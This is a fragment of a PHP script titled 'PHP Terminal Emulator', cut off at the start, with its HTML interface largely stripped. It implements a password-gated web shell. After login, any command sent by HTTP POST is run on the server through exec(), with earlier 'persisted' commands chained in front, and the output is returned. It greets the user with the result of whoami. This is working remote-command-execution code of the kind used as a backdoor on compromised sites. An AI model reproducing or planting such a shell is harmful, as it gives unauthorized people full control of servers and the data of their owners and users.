$persist) { if ($persist) { $current_command = $_SESSION['commands'][$index]; if ($current_command != '') { $previous_commands .= $current_command . '; '; } } } if (isset($_POST['command'])) { $command = $_POST['command']; if ( ! isset($_SESSION['logged_in'])) { if ($command == $password) { $_SESSION['logged_in'] = TRUE; $response = array('Welcome, ' . str_replace("\n", '', `whoami`) . '!!'); } else { $response = array('Incorrect Password'); } array_push($_SESSION['persist_commands'], FALSE); array_push($_SESSION['commands'], 'Password: '); array_push($_SESSION['command_responses'], $response); } else { if ($command != '' AND ! $toggling_persist) { if ($command == 'logout') { session_unset(); $response = array('Successfully Logged Out'); } elseif ($command == 'clear') { clear_command(); } else { exec($previous_commands . $command . ' 2>&1', $response, $error_code); if ($error_code > 0 AND $response == array()) { $response = array('Error'); } } } else { $response = array(); } if ($command != 'logout' AND $command != 'clear') { if ($toggling_persist) { if ($toggling_current_persist_command) { array_push($_SESSION['persist_commands'], TRUE); array_push($_SESSION['commands'], $command); array_push($_SESSION['command_responses'], $response); if ($command != '') { $previous_commands = $previous_commands . $command . '; '; } } } else { array_push($_SESSION['persist_commands'], FALSE); array_push($_SESSION['commands'], $command); array_push($_SESSION['command_responses'], $response); } } } } function clear_command() { if (isset($_SESSION['logged_in'])) { $logged_in = TRUE; } else { $logged_in = FALSE; } session_unset(); if ($logged_in) { $_SESSION['logged_in'] = TRUE; } } ?> PHP Terminal Emulator
$command) { ?>
$ Password: